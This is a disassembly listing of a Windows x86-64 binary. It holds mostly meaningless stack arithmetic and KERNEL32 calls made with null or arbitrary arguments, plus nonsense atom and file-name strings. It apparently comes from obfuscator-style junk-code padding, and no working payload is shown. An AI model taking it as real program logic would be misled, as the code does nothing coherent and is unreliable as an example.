mov rax, qword [rsp + 0xc728]
mov rcx, qword [rsp + 0xafb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa718]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4754], eax
mov rax, qword [rsp + 0xb3b0]
mov eax, dword [rax]
imul eax, dword [0x1401e6018]
mov dword [rsp + 0x4b28], eax
mov rax, qword [rsp + 0xcf50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb8]
and eax, ecx
mov word [0x1401e616c], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9d30], rax
movzx eax, word [rsp + 0x130c]
mov word [rsp + 0x131c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movsx eax, byte [rsp + 0xf5]
mov rcx, qword [rsp + 0xb620]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9630]
mov byte [rcx], al
movzx eax, word [rsp + 0x108c]
mov word [rsp + 0x1320], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa360], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xbe20], rax
movzx eax, byte [rsp + 0x125]
movzx ecx, byte [rsp + 0xfd]
add eax, ecx
mov rcx, qword [rsp + 0x99b0]
mov byte [rcx], al
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x49d8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x47b8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xacc0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xcfc8], rax
lea rdx, [rsp + 0x47b8]
mov rcx, qword [rsp + 0xbac0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4680], eax
lea rax, [rsp + 0xa118]
mov qword [rsp + 0xcfd0], rax
mov eax, dword [rsp + 0x43b0]
mov ecx, dword [0x1401e6014]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44c0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4d9c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xa7b8]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc6c0]
mov qword [rcx], rax
lea rax, section..data
mov qword [rsp + 0xcfd8], rax
lea rax, [rsp + 0xbb4]
mov qword [0x1401e7ad8], rax
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b]
sub eax, ecx
mov rcx, qword [rsp + 0xacc8]
mov byte [rcx], al
lea rax, [rsp + 0x1244]
mov qword [rsp + 0xcfe0], rax
movsx eax, byte [rsp + 0x1d3]
movsx ecx, byte [rsp + 0x16c]
sar eax, cl
mov rcx, qword [rsp + 0xb558]
mov byte [rcx], al
movzx eax, byte [rsp + 0x181]
movzx ecx, byte [rsp + 0xae]
shl eax, cl
mov rcx, qword [rsp + 0x95d8]
mov byte [rcx], al
lea rcx, str.Conciliate_Rational_Beguilement
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
mov qword [rsp + 0xcfe8], rax
mov eax, dword [rsp + 0x4474]
mov ecx, dword [0x1401e6014]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcf60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9be0]
mov rax, qword [rax]
mov qword [rsp + 0xcff0], rax
mov edx, 0x112f95
mov rcx, qword [rsp + 0x9e90]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4874], eax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0xcf80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x463c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xcff8], rax
movsx eax, word [0x1401e7910]
movsx ecx, word [rsp + 0xc3c]
and eax, ecx
mov word [0x1401e7438], ax
movsx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0xb060]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9988]
mov byte [rcx], al
mov rax, qword [rsp + 0xc568]
movzx eax, word [rax]
mov word [rsp + 0x1324], ax
movzx eax, byte [rsp + 0x58]
movzx ecx, byte [rsp + 0xf9]
sub eax, ecx
mov byte [rsp + 0x19d], al
mov rax, qword [rsp + 0x9838]
movzx eax, byte [rax]
mov byte [rsp + 0x1d8], al
mov rax, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0xce08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9da8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x44cc]
mov ecx, dword [rsp + 0x463c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc7e8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xaff0], rax
mov rax, qword [rsp + 0xaac8]
mov eax, dword [rax]
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbf58]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1310]
mov rcx, qword [rsp + 0xa040]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e60b8], ax
mov rax, qword [rsp + 0xcce0]
movzx eax, byte [rax]
mov byte [rsp + 0x1d9], al
mov edx, 0x1353
mov rcx, qword [rsp + 0xb820]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x441c], eax
movsx eax, word [rsp + 0xba8]
mov rcx, qword [0x1401e7a58]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb740]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xd000], rax
movzx eax, word [rsp + 0x112c]
mov word [rsp + 0x1328], ax
movzx eax, byte [rsp + 0xd3]
mov rcx, qword [rsp + 0x9200]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc600]
mov byte [rcx], al
mov rax, qword [rsp + 0x9be0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7420]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8e0], rax
mov rax, qword [rsp + 0x95e0]
mov rax, qword [rax]
mov qword [rsp + 0xd008], rax
mov rax, qword [rsp + 0xcce8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x43a4]
shl eax, cl
mov dword [rsp + 0x4cf4], eax
mov rax, qword [rsp + 0xb8d8]
mov eax, dword [rax]
mov dword [rsp + 0x4da4], eax
movzx eax, word [rsp + 0xf20]
mov word [0x1401e7ae0], ax
mov rax, qword [rsp + 0x99c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad70]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0xa370]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x176]
sar eax, cl
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movzx ecx, word [rsp + 0xe88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbbc], ax
movzx eax, word [rsp + 0x11e4]
mov word [rsp + 0x132c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx eax, word [rsp + 0x110c]
mov rcx, qword [rsp + 0x96b8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb178]
mov word [rcx], ax
lea rax, [rsp + 0x9448]
mov qword [rsp + 0xd010], rax
mov rax, qword [rsp + 0xc9a0]
mov rcx, qword [rsp + 0xbb70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4d20], eax
imul eax, dword [rsp + 0x45b4], 0x1b16
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
mov rax, qword [rsp + 0xabe0]
mov rax, qword [rax]
mov qword [rsp + 0xd018], rax
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [rsp + 0x11a]
add eax, ecx
mov byte [rsp + 0x92], al
movsx eax, word [rsp + 0xcbc]
mov rcx, qword [rsp + 0xbce0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6170], ax
mov rax, qword [0x1401e7558]
movzx eax, word [rax]
mov word [rsp + 0x1330], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:Offer_resolver
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xd020], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xc538]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0xaca0]
mov byte [rcx], al
movzx eax, word [rsp + 0xc18]
mov rcx, qword [rsp + 0xc0d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbf8], ax
mov rcx, qword [rsp + 0xb5a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x47e4], eax
lea rax, [0x1401e6014]
mov qword [rsp + 0xd028], rax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xbd38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc200], rax
mov rcx, qword [rsp + 0xc940]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x45d0]
mov qword [rsp + 0xd030], rax
mov rax, qword [rsp + 0xc858]
mov rcx, qword [rsp + 0x9f68]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x90a8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x107]
mov byte [rsp + 0x1da], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xd038], rax
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x441c], eax
movsx eax, word [rsp + 0x113c]
mov rcx, qword [rsp + 0xaea0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e76d8]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x51d1
mov rcx, qword [rsp + 0xa190]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4530], eax
mov rax, qword [rsp + 0x99c8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e60b3]
sub eax, ecx
mov rcx, qword [rsp + 0xc328]
mov byte [rcx], al
mov rax, qword [rsp + 0xb280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc570]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc010]
mov word [rcx], ax
movzx eax, word [rsp + 0xc24]
mov word [rsp + 0x1334], ax
mov rax, qword [rsp + 0xb3d8]
mov rcx, qword [rsp + 0xb098]
mov qword [rsp + 0xd040], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd040]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbfb0], rax
mov rax, qword [rsp + 0x9a08]
mov rax, qword [rax]
mov qword [rsp + 0xd048], rax
mov rax, qword [rsp + 0xa438]
mov rcx, qword [rsp + 0xb788]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa2e0]
mov dword [rcx], eax
lea rcx, [rsp + 0xd050]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9068]
mov eax, dword [rax]
mov ecx, dword [section..data]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4488], eax
mov edx, 0x44badf
mov rcx, qword [rsp + 0x9dd0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4460], eax
lea rax, [rsp + 0x197]
mov qword [rsp + 0xd058], rax
movsx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0x9a98]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e60be], al
movsx eax, word [rsp + 0xcf8]
movsx ecx, word [rsp + 0x11b4]
and eax, ecx
mov rcx, qword [rsp + 0xcc98]
mov word [rcx], ax
mov rax, qword [rsp + 0x9618]
movzx eax, byte [rax]
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0xb408]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab28]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x92a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbaf0]
mov rcx, qword [rsp + 0x9420]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x492c], eax
lea rax, [rsp + 0x9df0]
mov qword [rsp + 0xd060], rax
mov rax, qword [rsp + 0x96a0]
mov rcx, qword [rsp + 0x92f0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9530]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4838]
mov dword [rsp + 0x4da8], eax
mov rcx, qword [rsp + 0x9b48]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x1260]
mov rcx, qword [rsp + 0xc0b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbf38]
mov word [rcx], ax
mov rax, qword [rsp + 0x9240]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x59]
sub eax, ecx
mov rcx, qword [0x1401e7508]
mov byte [rcx], al
lea rax, [rsp + 0xf3c]
mov qword [rsp + 0xd068], rax
mov rax, qword [rsp + 0xbc48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov byte [rsp + 0x174], al
movsx eax, byte [rsp + 0x1c7]
movsx ecx, byte [0x1401e605f]
and eax, ecx
mov rcx, qword [rsp + 0x9d68]
mov byte [rcx], al
lea rax, [rsp + 0xde0]
mov qword [rsp + 0xd070], rax
mov rax, qword [rsp + 0xbe38]
mov rcx, qword [rsp + 0xc810]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc8f8]
mov dword [rcx], eax
lea rcx, str.librettist_menacing_responder
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1338], ax
mov eax, dword [rsp + 0x4370]
mov dword [rsp + 0x4dac], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0xb698]
mov rcx, qword [0x1401e7420]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa988], rax
mov rax, qword [rsp + 0xcfc0]
mov rcx, qword [rsp + 0x92b0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9370]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xe4]
movsx ecx, byte [rsp + 0x1d4]
sar eax, cl
mov byte [0x1401e6087], al
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov byte [rsp + 0x1dc], al
mov dword [rsp + 0x20], 0x1e33
mov r9d, 0x2b4d
mov r8d, 0x1d5b
mov edx, 0x16b8
mov rcx, qword [rsp + 0xb3f0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4610], eax
mov rax, qword [rsp + 0xcb30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa398]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc84], ax
movzx eax, word [rsp + 0xcd4]
mov word [rsp + 0x133c], ax
movsx eax, byte [rsp + 0xa2]
movsx ecx, byte [rsp + 0xde]
sub eax, ecx
mov rcx, qword [rsp + 0xa2f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8a8]
mov rcx, qword [rsp + 0x9438]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4674], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4988], eax
mov rax, qword [rsp + 0xbec8]
mov rax, qword [rax]
mov qword [rsp + 0xd078], rax
mov rax, qword [rsp + 0xbba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb818]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9568]
mov eax, dword [rax]
mov dword [rsp + 0x4db0], eax
mov rax, qword [rsp + 0xc818]
movzx eax, word [rax]
mov word [0x1401e7ae4], ax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x9e70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x128], al
mov rax, qword [rsp + 0x97e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc658]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa630]
mov byte [rcx], al
movzx eax, word [0x1401e60d4]
mov word [rsp + 0x1340], ax
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6e], al
lea rax, [rsp + 0xa510]
mov qword [rsp + 0xd080], rax
mov rax, qword [rsp + 0xb4a0]
mov ecx, dword [rsp + 0x47fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x49b4], eax
lea rax, [rsp + 0xb338]
mov qword [rsp + 0xd088], rax
lea rcx, [rsp + 0x26c68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xce88]
mov rcx, qword [rsp + 0xcd80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4890], eax
lea rcx, [rsp + 0x2a300]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4c08], eax
lea rcx, [rsp + 0x26b78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb758]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7ab8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e606a], al
movzx eax, word [rsp + 0xd0c]
movzx ecx, word [rsp + 0xef8]
and eax, ecx
mov rcx, qword [rsp + 0xc598]
mov word [rcx], ax
movzx eax, word [rsp + 0x12b4]
mov word [rsp + 0x1344], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xcf88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc74]
sar eax, cl
mov word [rsp + 0x1260], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x1dd], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov eax, dword [rsp + 0x46cc]
mov rcx, qword [rsp + 0xb008]
mov qword [rsp + 0xd090], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd090]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x44a4], eax
mov rcx, qword [rsp + 0xa9b8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x44e0], eax
mov eax, dword [rsp + 0x4afc]
cdq
idiv dword [rsp + 0x49b4]
mov dword [rsp + 0x476c], eax
mov rax, qword [rsp + 0xa828]
mov rax, qword [rax]
mov qword [rsp + 0xd098], rax
mov rax, qword [rsp + 0xa838]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc6f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x93d0], rax
mov rax, qword [rsp + 0xb850]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1cd]
or eax, ecx
mov byte [0x1401e60bf], al
lea rax, [rsp + 0xef8]
mov qword [rsp + 0xd0a0], rax
movsx eax, word [rsp + 0xf5c]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc010]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:ProfessionalismEscalationAuditionedwizened
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xd0a8], rax
mov rax, qword [0x1401e7968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc1b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae40]
mov byte [rcx], al
lea rax, [rsp + 0x104]
mov qword [rsp + 0xd0b0], rax
mov rax, qword [rsp + 0x92f0]
mov rcx, qword [rsp + 0x9680]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc8c0]
mov qword [rcx], rax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4804], eax
mov eax, dword [0x1401e741c]
mov dword [rsp + 0x4db4], eax
mov rax, qword [rsp + 0xbec8]
mov rcx, qword [rsp + 0xb358]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc848], rax
mov rcx, qword [rsp + 0xa020]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x46ac], eax
lea rax, [rsp + 0x4444]
mov qword [rsp + 0xd0b8], rax
lea rax, [rsp + 0x60]
mov qword [0x1401e7ae8], rax
mov rax, qword [rsp + 0x9750]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f4]
add eax, ecx
mov rcx, qword [rsp + 0xadf8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbe]
movzx ecx, byte [rsp + 0x76]
sub eax, ecx
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0xb430]
movzx eax, byte [rax]
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
sub eax, ecx
mov rcx, qword [rsp + 0xc718]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xd0c0], rax
mov rax, qword [rsp + 0xac58]
mov eax, dword [rax]
mov dword [rsp + 0x4db8], eax
mov rax, qword [rsp + 0xa238]
mov rcx, qword [rsp + 0xb5c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa0f0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4a50], eax
mov rax, qword [rsp + 0xb888]
mov rcx, qword [rsp + 0xc0e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa300]
mov dword [rcx], eax
lea rax, [rsp + 0xae58]
mov qword [rsp + 0xd0c8], rax
movzx ecx, word [rsp + 0xfc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd30], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0xcb38]
movsx eax, word [rax]
movsx ecx, word [0x1401e772c]
add eax, ecx
mov word [0x1401e74c0], ax
mov dword [rsp + 0x2ab20], 0x94
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf28]
sub eax, ecx
mov rcx, qword [rsp + 0xbac8]
mov word [rcx], ax
lea rax, [rsp + 0x17e]
mov qword [rsp + 0xd0d0], rax
movsx eax, word [rsp + 0xe68]
movsx ecx, word [rsp + 0x11a0]
xor eax, ecx
mov word [rsp + 0x1100], ax
movzx eax, byte [rsp + 0x16d]
mov rcx, qword [rsp + 0x97f8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x175], al
lea rax, [rsp + 0xba80]
mov qword [rsp + 0xd0d8], rax
mov rcx, qword [rsp + 0xc438]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4314], eax
lea rcx, str.telescope_Discern
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xd84], ax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x49ec]
sar eax, cl
mov rcx, qword [rsp + 0x9f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcde8]
mov qword [rsp + 0xd0e0], rax
mov eax, dword [rsp + 0x487c]
mov rcx, qword [rsp + 0xb0e8]
mov qword [rsp + 0xd0e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x464c], eax
lea rax, [rsp + 0xbe8]
mov qword [0x1401e7af0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.C:_resentfullyThenceforward
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xd0f0], rax
mov rax, qword [rsp + 0xb048]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x134]
and eax, ecx
mov rcx, qword [rsp + 0xbcd8]
mov byte [rcx], al
mov rcx, qword [rsp + 0xa228]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x2a760]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4c20], eax
xor r9d, r9d
lea r8, [rsp + 0x94b8]
mov rdx, qword [rsp + 0xce60]
mov rcx, qword [rsp + 0xca58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4dbc], eax
lea rax, [rsp + 0xfc4]
mov qword [rsp + 0xd0f8], rax
movzx eax, word [rsp + 0x1024]
movzx ecx, word [rsp + 0xbb8]
imul eax, ecx
mov rcx, qword [rsp + 0x9f98]
mov word [rcx], ax
lea rcx, [rsp + 0xbbb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0x1d6]
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0xb738]
mov ecx, dword [rsp + 0x4950]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d3c], eax
mov rax, qword [rsp + 0xa778]
mov rax, qword [rax]
mov qword [rsp + 0xd100], rax
lea rcx, str.brines_Amphibian_Presidency
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1078], ax
lea rcx, str.putrescent_Inactive_tramples
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov ecx, dword [0x1401e741c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc8c0]
mov rcx, qword [rsp + 0xc1b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa4a8], rax
mov rax, qword [rsp + 0xa170]
movzx eax, byte [rax]
mov byte [rsp + 0x1e0], al
movsx eax, word [rsp + 0x11d4]
mov rcx, qword [rsp + 0xa720]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6114], ax
movzx eax, word [rsp + 0xd70]
movzx ecx, word [rsp + 0xcf4]
add eax, ecx
mov word [rsp + 0xecc], ax
lea rax, [0x1401e74c6]
mov qword [rsp + 0xd108], rax
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0xc900]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x95], al
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x440c], eax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x90f0]
mov dword [rcx], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0xd110], rax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4554]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab40]
mov dword [rcx], eax
